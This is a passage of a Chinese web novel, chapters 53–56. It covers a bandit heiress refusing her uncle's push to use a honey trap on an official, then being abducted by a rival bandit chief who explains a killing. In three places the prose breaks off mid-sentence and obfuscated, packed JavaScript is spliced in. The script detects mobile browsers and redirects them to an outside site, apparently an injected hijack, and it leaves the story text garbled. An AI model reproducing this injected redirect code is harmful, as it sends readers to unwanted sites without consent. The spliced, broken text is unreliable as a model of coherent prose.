胤姜如是想着,却从善如流的穿上了施邛带来的盔甲,她不想去问这二人的关系,知道得越多,越没啥好处,她本来就足够尴尬了——她和梁玺之间的事,被两个旁人瞧得清楚,哎! 各回各家。 胤姜毫发无损地回家,却见苏灼坐在书案前等她,苏灼乍一见胤姜回来,都有些恍惚感。 “四叔,我和他之间开门见山的聊过了,他答应,只要我们助他建立功勋,就会替我们寻条生路,我知道,这或许有些轻率,但是比起血流成河,我还是更希望找一个双方都能共处的方式。 若是真的鸟尽弓藏,反正父亲那边已经在准备了,左不过是在外面的我们有些危险罢了。” 苏灼笑骂一声,“傻子!”却不再多说什么。 胤姜坐下,与苏灼谈起这场夜会的收获,苏灼神情不明,幽微的烛火映不清人心反复。 “查可以查,但是怎么查?他能策反一个李复,也说不定已经策反了贺含章阵营的某人,总之,到时候他告诉你怎么做,你便怎么做。” 苏灼难得的没有表现出对梁玺的排斥。 听命于他吗?胤姜心中怪怪地。 53. 美人计? “阿月,听劝些吧,如今你我以及全寨人的性命皆在他手上,若他后面翻旧账,只怕日后就更难存身了,老话说民不与官斗,就是这个理。” 苏灼神情严肃,“你啊,收敛些你的脾性,好好安抚他,先熬过这段日子,若他当真对你有那么几分真心,想来也愿意多奔走几次,等事成之后他们走了,你可以继续过你的逍遥日子。” 胤姜怔怔点头,却回转过来,问道,“只是因为他对我有几分真心?” 苏灼目光柔和,看着胤姜笑道,“阿月,你可知自古唯有美人计最能让无数男儿折戟沉沙,虽这不是你的本意,却也达到了这样的目的, 不然,你何以认为,他有那样的慈心,为我们这些匪寇之流奔波游走,难道他真在乎我们是无辜的吗? 阿月,天下无辜的人何其多,那些被毁了田地、房屋的百姓不无辜吗?那些有冤不得诉、命丧黄泉的人不无辜吗? 那么多无辜又值得同情的人,为什么他愿意帮你啊?为什么他要给你这个机会呢? 阿月,你应该比我明白,世间最难的就是公平二字,你扪心自问,你对我们,跟对那些素不相识的陌生人,能是一样的吗? 人心只有那一亩三分地,能呆多少人?凭什么人家要把你放心上,要管你的死活,要在乎你的喜乐?” 胤姜喉咙发干,睁大眸子,看向苏灼,质问道,“你一直没阻拦我接近他,是因为你希望你的美人计能够成功,对我们的计划有所帮助? 而我,现在得到的机会,是他对我的偏爱,是他赋予我的特权,是他的一念之仁,否则我和云雾山其他那些土匪,也没有什么区别,我也早该命丧九泉?” 苏灼眼皮也不曾抬一下,“阿月啊,你应该清楚的,我们本来和他们也没有太多的区别,我们虽然做得少,但是也做了,我们是土匪,不是侠客。 就像我方才说的,这世间有许多可怜人,单单说十五年前的渭水泛滥,有人被迫沦为奴隶,仍不屈不从,宁死不从,有人却奴颜媚骨,自卖其身,从此以后卑躬屈膝。 有人宁愿贫穷地生活着,也不出卖尊严,有人一头栽进那场纸醉金迷,成日醉生梦死。 阿月,你以前总说没有选择,但是其实人是有选择的,你可以选择屈从,或者抵抗到底。 就像,你和我说过斐笙花是你旧友,都有一样的命运,站在了一个人生岔路口,你们是有选择的,只是选择的多少而已,你的选择是离开,她的选择是留下。 这如何不是一种选择呢? 就像你做了云雾山上的土匪,也是你的选择,你总是模糊这一点,看起来就好像做土匪是你走投无路、别无选择的选择,但是其实你还有其他选择啊, 比如为奴为娼,但是,你没有选啊,你选的路,是跟着我大哥,跟着我们一行人,上山做了土匪。” 苏灼死死盯着胤姜的神情,生怕错过分毫,他要说服她,一定要说服她,她不知道,她遇见的人是谁,若是搭上那条线,他们全家的冤,就有得诉了。 “我没有劝阻你接近梁玺,我完全对你放任,是你自己选择去接近他的,这美人计,与其说是我的计,不若说你才是那个执棋人。” “啪——”胤姜红着眼,直接给了苏灼一耳光。 苏灼一把抓住胤姜的手,直视胤姜,眼中隐隐有癫狂之色,血丝点点爬上他的眼珠。 人疯狂起来,便会不择手段。 哪怕脸上有个红印,却丝毫不见狼狈,苏灼继续说道,“阿月,你可知,若一个男人愿意给予你几分特权,让你小小地任性一下,得权衡利弊多久? 他那样的人,内心有多少算计衡量,你是不知道的,但是我想告诉你,至少这一次,你占上峰。 我要你明白,这是一个机会,容不得你再如以往一般任性。 我知道,你厌恶什么? 贺含章之前让你用美人计,你不屑于此,你总是这样,不屑于用女人的美貌和身躯去征服男人,而妄想从智力、武力上去战胜对方。 你以为他会爱上你的聪慧和能力,但是却恰恰相反,对于大多数男人来说,并不需要一个这样的女人,因为和她说话太累,总是要反复思量,害怕话中有什么错漏,被她察觉, 还要担心,如果一不小心泄露自己的胆怯,被眼前这个女人察觉到,她会瞧不起自己。 所以,他们宁愿选择一个柔顺、美貌、无知的女人,也不愿选择一个聪慧有胆气的女人。 阿月,一直以来,你作为庆安寨的少当家,都习惯性的想以能力服人,我认为这当然没错,作为庆安寨未来的主人,你做得当然没错, 但是在感情中,不需要一个事事压对方一头的主人。 庆安寨中何尝没有你的爱慕者,只是随着你少当家做得越来越稳当,这些爱慕者都如云散开了。 不过,你一直都没在意,所以我也不曾对你提起,但是现在,我希望你,用你最不屑的手段,去笼络住那个男人,为了我们全寨人日后的存活。 对于他来说,将我们招安,不,就算不招安,给我们一个良民的户籍,让寨中的那些孩子可以光明正大的生活在这片土地上,可以赤诚无畏地说他是个好人。 好吗?给他们一个机会,也给我们这些迷途的人,一个机会?好吗? 阿月,你也喜欢他啊,开开心心在一起一段时间,不念过来不思未来,不好吗? 除了我,没有人会知道这件事,寨子中的人都会认为,这是朝廷的恩赏,他们会感谢朝廷,会为了证明自己值得,而想做一个顶天立地的人。 阿月,对你来说,这不难,阿月,答应我好吗?” 苏灼使劲抓着胤姜的手,言谈中满是哀求,胤姜不可置信的看着他,仿佛这个人从未认识过,他在她心中烂掉了,不过一朵花开的时间。 胤姜不再想要甩开他的手,神情变得淡漠起来,轻飘飘地吐露一句话,“这也是你心中所想吗?” 她原来总是想不通,她不比那些青楼女子差,为什么,苏灼宁愿和那些女子混在一起,也要将她拒之千里,原来,是这样。 害怕他欺骗她,被她戳穿谎言,害怕他胆怯,被她瞧不起。 原来,不是她不好,是他不配。 胤姜忽而心中轻快起来,好似甩脱了什么枷锁,原本对苏灼还怀着的那一点纠结复杂的感情烟消云散,“为何你从一开始就想着要欺骗,是因为你从未有过真心, 你害怕,你的谎言被我揭穿之后,我发现其实,对面的你,只是披着一具人的皮囊,而你的心腔,空荡荡的,什么都没有。 你说你害怕被我看穿你的胆怯,为何害怕? 若你真喜欢什么,你应该会变得勇敢,不是说敢于死,而是敢于生,因为喜欢着这个世界的人,所以就要更加勇敢的面对生活。 就算做不到这点,对于一个胆怯的人来说,也应该是有了依靠之感,因为他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12823591|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后,不再是空无一人,他的胆怯有人安慰,他的害怕有人抚平。 可对你来说,原来不是这样。” 胤姜话语落,苏灼才意识到他方才太过激动,说了许多不该对她说的话,意图解释什么。 胤姜淡淡地看着苏灼,她此时彻底意识到,她对他的那丝微妙的别扭之感都已经没有了,“我不会答应你,他对我如何,我管不着, 我是在和他合作,但是不会以这种方式,我不会以这样的方式得到我想要的东西。 四叔,你该回去了。” 趁着苏灼怔愣之际,胤姜抽回手,苏灼意识到胤姜对他的驳斥,怒气漫上心头,蹭地站起来,指着胤姜骂道,“你和他不是玩得正好嘛,这也不过就是顺带的事情,对你来说有多难? 还是在你眼中,你们的感情有多神圣,一丝杂质也不能有?愚蠢!” 苏灼甩袖而去。 胤姜望着苏灼气冲冲的背影,补充了一句,“四叔,我说的是,你该回山寨了。” 苏灼的背影一僵。 胤姜回望着房中昏黄的蜡烛,一滴蜡油滴下,却十分巧合地没滴在蜡盏上,反而滴在了地上,留下了一块斑驳的痕迹。 胤姜心中反驳,不,不是他们的感情神圣,只是对她来说,这是两码事,感情是感情,生意是生意,感情不能当生意做,做生意不能太讲感情。 她和梁玺合作是合作,无关风月。而他们的风月,则只是风月,不关合作。 胤姜想着,手狠狠掐了一把自己,不,梁玺没有,他对她,许了偏爱。 胤姜忽而阖上双眼,内心油然而生一股疲惫。 明月夜,贺府,一片缟素。 胤姜换上一身丧衣,来到贺府,贺礼死得蹊跷,贺含章似乎并不准备立即将他下葬,只找了府衙中的仵作验尸,再寻求了淮安内驻军的帮助,全城追缉凶手。 凶手? 胤姜按住心中疑问,先一步上前安慰贺含章,“父亲,女不孝,才听闻二弟噩耗,便急匆匆赶来,女儿知道父亲伤心, 但是万务保重身体,二弟在天上看见你劳思过度,也会担心的。” 贺含章拍拍胤姜的手,神色疲惫,整个人看起来衰老许多,精神不比从前,“你有心了,去看看你弟弟吧。” 胤姜被仆人领着,弯弯绕绕几圈,来到了祠堂,上次来这,还是贺凝珠订婚。 白布悬挂在祠堂各处,中间停着一个棺椁,漆黑厚重,材质甚好,棺椁旁边,摆满了白色的大花圈,祠堂的入口处,还摆了一处火盆,几个仆人正往里添着纸钱。 胤姜先拜了三柱香,三根烛,再去瞻仰遗容,贺礼应该还没死多久,他的皮肤还尚且保持着活着时的鲜嫩,他紧闭着双眼,仿佛睡着了一般。 贺礼的衣衫已经被打理好,胤姜光从表面上无法得知贺礼的死因是什么,胤姜心中叹口气,不管哪朝哪代,人死万事休,他做过的孽,也该一笔勾销了。 胤姜出来之后便开始寻找徐乔的踪影,找到徐乔,胤姜的心才能安下来。 没想到,夜里来了许多前来祭拜的访客,白朦水夫妇,邓绥父子,贺凝珠夫妻,一些胤姜不曾见过的官员,还有,他。 胤姜帮着贺含章招呼这些来客,没想到张氏和贺丹姝也一直不见踪影,也对,贺礼是她们二人的血缘更亲,今夜又事发突然,伤心都来不及,哪里还有空出来待客。 贺礼啊,到底是怎么回事? 54. 交心?交易? 招呼完客人,胤姜又要陪着贺含章守夜,二人守在灵堂,半途中,贺丹姝扶着张氏出来了,两人瞧着面色十分憔悴,贺丹姝未施粉黛,神色苍白,眼眶微红, 而张氏,竟有一夜白头之感,整个人像是沧桑了十几岁,她颤巍巍地走着,神智也不是特别清醒,双眼中空洞洞,需得贺丹姝扶好才行。 张氏被扶到灵堂,大片大片地白色刺得她眼睛疼,那早已神游在外的理智,似乎一下子被刺醒了。 “啊——”张氏发出耸人听闻的一声尖叫,她甩开贺丹姝的手,举止狼狈的跑向贺礼的棺椁,却在临近棺椁之前,慢下脚步,双手颤颤地扶着棺椁, 张氏一点点探头去看棺椁中的人,“啊——啊——啊——” 剧烈的悲痛,使得人发出野兽般的狂叫,张氏已经失去了语音,除了痛苦的叫喊外,再也没什么能代替她的痛苦。 贺丹姝快步上前抱住张氏,眼泪涟涟,贺含章远远望着,叹口气,眼神示意张氏和贺丹姝身后跟着的婆子们把张氏带回去。 一夜无话。 胤姜守在灵前一夜,贺含章本劝她就在贺府休息,胤姜借口回去拿衣服回来小住,顺便送别丈夫,是的,她对贺含章说,她的丈夫田宁,因事发突然,需要去谈生意。 胤姜填了一下肚子,便上了贺府为她安排的马车,胤姜靠在马车上小憩,她确实很疲惫,一晚上没睡,光熬是很难熬的。 不知不觉胤姜竟睡着了,等她醒来,马车已经停下许久了。 胤姜掀开轿帘,却发现此处是一民家小院,低矮土墙,所见之处皆显露出贫寒之感。 胤姜本刚醒,神智在半昏半醒之间,见此光景却一下子清醒了,轿前忽然露出一张人脸,鹰眸,高鼻梁,嘴角带笑,正看着胤姜。 涂苍! 胤姜压住心中惊恐,面色平静地看向涂苍,问道,“你不是之前在山下的那位管事吗?怎么,居然到淮安来了?看来你运气不错啊。” 胤姜说着,手却开始摸身上随身携带的武器,摸到一把小匕首,胤姜心安了不少。 涂苍笑笑,“贺小姐,你还说,若不是你上山后找钦差挑了我的老巢,我又怎么会到淮安来呢?你弟弟,又怎么会死呢?” 胤姜睁大双眼,惊讶地看着涂苍,“你杀了他?!” 涂苍摇头,“我没想杀他,那是一个意外,你相信吗?不过不管你们信不信,他都死了,你爹是不会放过我的,我正愁手中没筹码,你就送上门来了。 我挺高兴的,所以见你在轿中熟睡,我都没叫他们来打扰你。日落西山,睡了一天了,贺小姐,看来你昨晚上是真累啊。” 胤姜此刻才讶异地发现,落日余晖洒满大地,连眼前人,都浸染在这金黄的余晖中。 胤姜反而笑问,“你是打算绑架我,来威胁父亲?那你算盘是真打错了,既然父亲认定你是害死二弟的凶手,就一定不会放过你,就算你要杀我,他也不会放你生路。 而我就算真死了,相信我,你一定会被父亲碎尸万段,他会替我和二弟报仇的。” 胤姜心中却在思量,昨夜到底发生了什么,涂苍和贺含章竟然反目成仇了,涂苍还间接害死了贺礼,莫非跟邓氏铜矿的密道暴露有关? 可是分明不会啊,邓绥三言两语便说服了钦差,啊,她险些忘了,沈岩跟梁玺是一伙的,梁玺知道下面有金矿,沈岩也会知道,他是故意不追究的? 欲擒故纵吗? 胤姜想,或许如今的局面,谁也没料到。 涂苍不以为意,“他若找到我,要做的第一件事就是杀死我,的确,哪怕你在我手上,他也不会留我一命,在他眼中,我是非死不可的。” 胤姜好奇看涂苍一眼,眼神问道,你都知道,你还绑架我做什么? 胤姜可记得,她之前对徐乔说,她想策反涂苍,没想到啊,机会这不就来了吗?事出反常必有妖,涂苍绑她,必有所求。 涂苍将胤姜请下来,胤姜藏好匕首才下轿,触目所见,就一寻常百姓家,俗话说,大隐隐于市,这家伙,真会藏啊。 胤姜问,“你不怕我出卖你?” 涂苍淡淡看她一眼,“你若真想做什么,当时就不会只让人去告诉钦差邓氏铜矿有蹊跷了。再者,我不是很相信,你真是贺含章的女儿。其三嘛,” 涂苍眼中划过丝深意,“我那好师傅,若在贺宅中没人帮助,怎么可能轻易躲得过那些搜查,最后堂而皇之出现在大殿上?” 贺含章虽没见过净空和尚的模样,但那夜他观白朦水的神色就可猜出几分,事后他自然要去问责涂苍,涂苍并未解释什么,只说看守不力,让他跑了。 胤姜微笑如常,“我不知道你在说什么,与其有心思跟我玩文字游戏,不如快快跑路,省得死得难看。” 胤姜现在并不着急策反涂苍,她还得慢慢了解这个男人的脾性,方可对症下药。 涂苍砸吧一下嘴,二人行走间已经来到了房屋里间,胤姜刚才一路也在观察周围,涂苍的手下都靠墙站着,手中皆提着武器,光是小院中就有二三十人。 房内也有十几个守卫,将房间挤得满满的,胤姜想,这应该不是涂苍全部的兵力,其他人在什么地方呢? 涂苍这才继续和胤姜说道,“你不想知道昨夜发生了什么,贺礼为什么会死吗?” 胤姜一本正经,“难道我想知道,你就会告诉我?” 涂苍却点点头,“当然,交朋友嘛,礼尚往来,我告诉你,你告诉我。” 胤姜心中腹诽,又来?之前梁玺也是这样,所谓交换情报,不过是彼此试探、拆穿,然后谈条件罢了。 “我这人无趣得很,应该没什么是你想知道的。至于你的事情,其实我不感兴趣,我只想你死,然后我二弟的仇就报了。” 涂苍佯装叹气,“你先别急着拒绝嘛。我之所以找你,就是因为我怀疑当时文良是被你放进内院的。文良本来被我捆在外院,内院外院之间防守很严, 据我了解,只有你们是从内院出去过,又曾遭遇过文良袭击,这不得不让我怀疑,这莫不是你们三个合起来演的一出苦肉戏? 根本就没有什么刺客袭击了你,也不存在什么刺客逃窜在外,从头到尾,他都藏在你们房中,这是赤裸裸的灯下黑啊。” 涂苍说得起劲,胤姜却不为所动,“胡编乱造,你说的谁信啊?” “你爹啊,我虽然现在和他有隔阂,但是有些事情,他未必信你多过我。” 胤姜思绪一时乱起来,事实是什么不重要,贺含章信谁,才重要。难道,他会更相信涂苍吗? 可笑。 涂苍继续说道,“贺小姐,你可以不信,但是我和贺含章认识多年,比你了解他,他也了解我,反而是半路来的你,其实并没有什么值得让人相信的地方。” 胤姜扯扯嘴角,“你是什么东西,他信你?交情不是这样攀的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12841014|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >所以,告诉我吧,你们是什么关系。 涂苍皱眉,“贺小姐,姑且叫你贺小姐吧,你妄图激怒我,是十分不明智的,我不是非你不可,你现在落在我手上,我好意相谈,你诸多不配合, 要知道,我也是可以找你那位相好的,对他,我也很感兴趣,你知道的东西,他肯定也知道。” 胤姜忽而侧头看向涂苍,神色莫测,却一言不发。 倏而笑起来,如春花开尽,“好啊,那你再表示一下你的诚意,告诉我你和贺含章之间的交易,反正我人已经在这里了,也跑不掉,你担心什么,现在害怕的是我。” 涂苍瘪瘪嘴,“嗯,好,我和你爹啊,交易,可太多了,我们第一次交易是十多年前的事情了,我猜,有些事情,你应该已经猜到了,我也不再赘述了, 就说说现在吧,赈灾银是在我手上,但不是我劫的,我只负责押送,而金矿是我和兄弟们采的,但是金子,十成有八成都被运走了,运去哪了,你得问邓绥。 贺含章做事,不会尽付一人手中,而且,也绝对不会让我们这几个手下人,关系和睦,毕竟,对他来说,那可就太危险了。 昨夜,他想叫我把赈灾银出手,放到河中,他再刻意引钦差发现赈灾银,彻底落实土匪劫银的嫌疑,然后就此把钦差打发走,我没同意。” 胤姜没想到涂苍当真交付真话,不免也慎重起来,贺含章狡兔三窟,虽早有预料,但还是让人觉得棘手,当初劫银杀人的究竟是谁,他们又藏在何处? 那些人的手段,非寻常可比,目前,她还不曾在淮安见过有这样能耐的人,藏得比邓绥他们都还深,看来,一定是贺含章的亲信了。 胤姜问道,“为何你不同意?钦差发现赈灾银以后,噢,你的手下弟兄们,也会被抓住,他莫非是劝你壮士断腕,抛弃他们,你不干?” 涂苍闻言淡淡扫了眼屋中的弟兄们,“是啊,我不同意,他们将命交给我,和我一起做这些杀头的勾当,我这个大当家,怎么也得护住他们才是。 之前的计划不是这样的,他是打算拿其他寨子土匪的命去交差,没想到,钦差盯得死,又闹出你们在邓氏铜矿里面那一遭,就只能让钦差抓个现行,可是现行谁去做,就只有找我了。” 涂苍说着,眼神幽幽凉,其实除了这一思量,还有另外一个原因,涂苍隐隐猜测,贺含章手中有私兵,他舍不得他的私兵,却舍得他涂苍的手下,这口气,他咽不下。 胤姜察觉到屋中的守卫有明显的面部变化,想来也是动容于涂苍的相护之情吧。 胤姜倒是没想到,一向凶名在外的黑崖寨大当家,内心还有柔软一面。 这正是涂苍想要的效果,作为百钺人,他们的习俗从来都是以族群利益为重,在涂苍眼中,他就是这个族群的头,他的族群的衰亡,与他所做的决定息息相关。 他失去过一次族群,好不容易又建立了一个族群,他才不会容许任何人破坏! 如果胤姜知道涂苍的心理话,只会感叹,这就是大梁人和百钺人的不同,虽然大梁也以家族为一个单位,但是从来不乏为一己之私出卖家族、同僚之人。 “那贺礼是怎么回事?你不同意,所以贺含章追杀你,你就挟持了贺礼,最后逃亡的时候还杀死了贺礼,为什么你要杀死贺礼,不怕贺含章狗急跳墙吗?” 胤姜实在不明白,贺礼怎么会死? 涂苍表示不幸,“这是个彻头彻尾的意外。” 55. 求仁得仁 在胤姜疑惑的眼神中,涂苍将那晚的事情婉婉道来。 贺含章将涂苍叫到书房中,与他商量起来怎么应付走钦差,涂苍驳斥贺含章的提议,二人闹得很是不快,贺含章叫手下人将涂苍拦下,涂苍大打出手,不得已破窗而出。 涂苍一路向外奔逃而去,后面的人一路跟着追,谁想到那么巧,贺礼就刚好在凉亭里歇凉,那时的他又不知道贺礼已经傻了,在涂苍眼中,贺家这两位公子,没一个傻的。 他顺势劫持住了贺礼,一直挟持着贺礼到了贺府的后小门处,他叫门口的守卫把门打开,以他的视野看过去,门外是无人的,但是他不确定小门周围有埋伏没有。 涂苍心神不过一恍惚,埋伏在暗处的人便伺机而动,给了涂苍一个措手不及,涂苍左肩被刺中,不慎将贺礼的脖子划了一个小口子。 就这瞬间,原本空空荡荡的小门外,已经站了一列士兵,正手持弓箭对准涂苍,涂苍暗骂一句,下手真快,这是要他死啊。 贺礼根本不知道发生了什么,傻愣愣的呆在一边,涂苍顺势将贺礼捞了过来,再次挟持了他。 涂苍挟持着贺礼又走了一段路,贺府身处僻静,但是这一时间动静也未免有点大了,涂苍本想借贺礼出城,没想到才没走多久,一小队贺含章的手下就将他们团团包围了。 涂苍现在都还记得那群人,他们黑衣蒙面,根本看不见表情,但是无声中有种凛冽的气势在,涂苍下意识握紧刀刃,一触即发,那群人便齐齐持刀剑朝他砍来。 涂苍没想到他们来势汹汹,并不特别顾及贺礼,与这十几人缠斗,涂苍也渐渐心力不够,不过一个空当,一个黑衣人便挑破了他挟持贺礼的刀,贺礼离开他的禁锢,本也该得到解救。 谁想呢,涂苍将将才再次握稳刀,那十几个黑衣人却朝他围过来了,涂苍已经无暇顾忌贺礼,他没想到贺含章还派出了死士来杀他。 那时的涂苍想,他今夜多半是得交代在这里了。 渐渐逼近的黑衣人,涂苍想着怎么也得浴血与他们战一场,至少死得像个英雄吧。 涂苍还没得及满足自己的悲壮设想,向他靠拢的黑衣人中的一个,却突然向他周围几个死士发起攻击,那几个死士猝不及防,被那个叛变的黑衣人一刀了结。 还剩下几个死士面面相觑,对在场的情况瞧不分明了。 莫说他们,连被围攻的涂苍都摸不着头脑。 再怎么搞不清楚,那几个死士也将叛变的黑衣人和涂苍一起列入了猎杀名单,有了黑衣人的加入,涂苍对付起另外几个死士来也稍微轻松多了。 趁着死士不注意,涂苍再次抓住了在一旁傻愣愣呆着的贺礼,他是真舍不得这个肉垫啊,怎么也能挡挡刀吧。 但是贺礼不是因为挡刀死的,而是如涂苍所说,是一个意外。 那叛变的黑衣人对其他几个死士的弱点好似很了解,武功与他们比起来也不相上下,但是下起手来是丝毫不手软,涂苍刚好借机喘息,就此时, 有几个死士联合起来,决定先解决叛徒,没想到却反而被叛徒打退,其中一个死士妄想从背后偷袭叛徒,没想到射出的暗器中有一个不偏不倚的射穿了贺礼的心脏。 涂苍若有所感,是因为他瞧见他左手边的衣袖有破损,他才去瞧了瞧贺礼,贺礼还是傻愣愣的,嘴巴张张,神情痛苦,看着他说,“痛。” 涂苍往下一瞧,贺礼心脏处冒出汩汩鲜血,他再往上瞧,贺礼“噗——”的一声,喷出大口鲜血,模糊了涂苍的视线,涂苍心道不好,这下和贺含章得是死仇了。 涂苍擦擦脸上的血,趁其余几人面露惊恐之际,赶紧脚底抹油地逃了。 有个小插曲,那个叛徒也跟着他一路回来了。 胤姜皱眉看向涂苍,“你是说贺礼死在贺含章派去截杀你的死士手上?难道就因为你拒绝了他的提议,他就要杀你吗?你这还有一班手下呢,如果没有你,他怎么将这些人按得下来? 再者,先不说你们的兄弟,就说那个叛徒,死士之所以是死士,是因为遭受了常人难以想象的折磨,磨掉了身为人的七情六欲,洗去了自我意识,死士叛逃? 涂大当家,你这是逗着我好玩?” 胤姜不无戏谑道,涂苍所讲之事疑点太多,整个事情看起来蹊跷得很。 “贺小姐,别说你不相信,我也不太信,贺含章要杀我,是因为涂苍本就是一个已死之人,如今我这个该死的人没死,还跟他撂了挑子,他或许想的就是弄假成真吧。 毕竟,放我和我的兄弟们活着,对他来说风险挺大的,我知道他很多事,我们的存在本身是不能见光的,当时我被气急了,想带着我弟兄们一走了之,不掺和下去。 虽然面上没直说,但是婉拒他了,其实我想他或许也清楚,我是打算跑路了,所以他才想除掉我们这些祸害吧。 贺礼的死是个意外。 也不知道他大晚上的,在外面瞎蹦跶什么,我后面才琢磨出来,他好像脑子有点问题,但是我以前见他,他分明正常得很,也不知道啥时候脑子有问题的。 杀他对我来说不合算,我还想留着他继续威胁贺含章,没想到贺含章居然派了死士,说来也真是可笑,我之前猜到他暗中养了私兵,但这么久以来,还是第一次见到。 结果这一见到,就是来要我命的。呵呵,最终自己的亲生儿子,居然死在了自己一手豢养的死士手里,贺含章心里怕是得吐血吧。 还有,那家伙,你想认识一下吗,别叫他叛徒,他现在有名字,跟我姓,叫涂煊。” 涂苍拍拍手,在房中候着的一位少年便走了出来,约莫十七八岁的年纪,看着面皮稚嫩得很,眼睛乌黑,相貌竟还有几分清秀。 胤姜面上不动,心中却对这位叫涂煊的少年产生了好奇,死士,有意思啊。 涂煊貌似乖巧沉默,胤姜却一眼望进了那双黑眸中,少年眼中暗藏着汹涌,却都被隔绝在那层淡淡的眼膜中,胤姜勾起嘴角,“说了那么多,你又想从我这里得到什么?” 涂苍挑挑眉,看着涂煊好似很满意,才对胤姜一本正经说道,“你的身份来历,还有目的,我们虽然看起来有共同的敌人,但是与你合作,我总是有一点不放心啊。” 胤姜用手指沾点茶水,于桌上写了一个“胤”字。 涂苍神色变幻几遭,才骂道,“原来是一路人,你不会是那老家伙的女儿吧?庆安寨的少当家?” 涂苍话音落,周围的人都警觉起来,看向胤姜面色不善。 胤姜嘴角抽抽,庆安寨素来偏居一隅,明明是低调得不能再低调了,黑崖寨的人莫非还怕她? 胤姜扬扬下巴,神情略显傲色,既然怕她,那她就表演给你们看呗。 涂苍反而沉静下来了,“庆安寨防护手段了得,涂某倒是想与你爹一叙,可惜他老人家不给我面子啊。” 胤姜听到防护手段四字,疑心涂苍是摸到过新庆安寨的地址,但是被水底的机关拌住了,看周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872580|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围的人表情,估计还折了不少人。 啧。 “不请自来,当然不受人待见,不过,我邀请你进寨,父亲总是不会说什么的。”胤姜说道。 “你们庆安寨,对这笔失踪的赈灾银感兴趣?你们那位置如此隐蔽,官府怎么找得着?连我都尚且不得其法。” 胤姜不知想到了什么,忽然认真的问涂苍,“贺含章上山剿匪,你是不是泄露了其他寨子的信息?里面是不是也有庆安寨?” 胤姜想得分明,黑崖寨不仅是贺含章的爪牙,也是他的耳目,那么,帮他盯梢云雾山的其他匪寨,然后趁着剿匪之际一网打尽,或收为己用,都是可能的。 涂苍呵呵笑两声,“我都没找到庆安寨位置,告诉贺含章,不是讨骂吗?办事嘛,要么做好了去邀功,要么没办好,就悄咪咪的不吭声,难不成我还上赶着找骂?” 胤姜转念一想,话是这个理,才回答起涂苍方才的问题,“好大个罪名扣你头上,你不着急,不想证明自己的清白?” 涂苍算是接受这个说法,拉着涂煊坐下,“我这徒弟啊,说话慢,我与他也没说几句话,可能最多的就是拜师礼上了,你有什么想问的?” 胤姜冷嗤一声,这家伙,她有什么想问的,难道不是他也想知道的吗?说得他好似什么都不知情的模样,那收一个死士做徒弟做什么? “你有什么想倾诉的吗?我想,你选择背叛贺含章,是谋划已久吧?老实说,你真挺不容易的,被贺含章抓去当死士,受了许多折磨吧? 难为你还能坚持下来,还能坚持自己的思想,还能知道追求自己的人生,而不是彻底沦为一个无意识的杀人工具。” 涂苍瞧着胤姜的温柔眼眸,自愧不如,还是女人能耐,知道软硬皆施,先来软的,再来硬的,连威逼带着利诱,不像他,直接一顿酷刑伺候。 呵呵,死活撬不开这死小子的嘴啊,他还真有点佩服他了。 那时,涂苍问涂煊,他怎么样才能说话,才能告诉他一些事情,涂煊楞了好久,涂苍都以为得不到答案了。 结果,少年抬头,眼睛亮亮的,“我想有个名字,想有个厉害的人做我师傅。” 涂苍好奇,“我让人打了你,把你打得鼻青脸肿的,你还想我给你取名字吗?而厉害的人,这里除了我,还有谁敢说厉害?你想认我做师傅,为什么?” 涂苍的自信是无人能及的。涂煊阴差阳错的上道。 但是他是带着他的獠牙的,他说,“有名字的人,死了也有地方去。至于我要找厉害的人做我师傅,是因为我要打败他,成为比他更厉害的人。 软蛋的徒弟都是软蛋,废物只与废物扎堆。” 也不知那句话合了涂苍的心意,他登时哈哈大笑起来,笑出了眼泪,“好,我收你做徒弟,你随我姓,就叫涂煊吧,煊,光明温暖之意。” 少年眼中爆发出炙热的光芒,他好似从那一天,开始活得像一个人了。 涂苍却是想起文良收他做徒弟的时候,文良对他说,他欣赏他的狠劲,唯有像他们这样的人,才能活得长久。 文良说,他并不害怕被徒弟取代,相反,唯有徒弟超越师傅,才能把他们这一宗门带向更长久、更繁盛的将来,唯有徒弟超越师傅,才能说明他们这一派的技法又取得了精进,这是宗门的胜利。 涂苍想,他虽未亲手弑师,却又为宗门挑了一个好苗子。 就算落得如文良一样的下场,也大抵是他求仁得仁。 56. 离开or留下? 出乎涂苍所料的是,涂煊其实是个软硬不吃的种,胤姜的温言安慰并不能让涂煊开口。 反倒是涂煊看了涂苍一眼,“师父,你有什么想知道的?” 胤姜笑着朝涂苍一挑眉,看你了哈。 涂苍难得见这半路认的徒弟如此乖顺,也放心大胆的问,“煊啊,你背叛贺含章,有给自己留什么后路吗?你不害怕从此一生,就在逃亡和被击杀的日子中度过吗?” 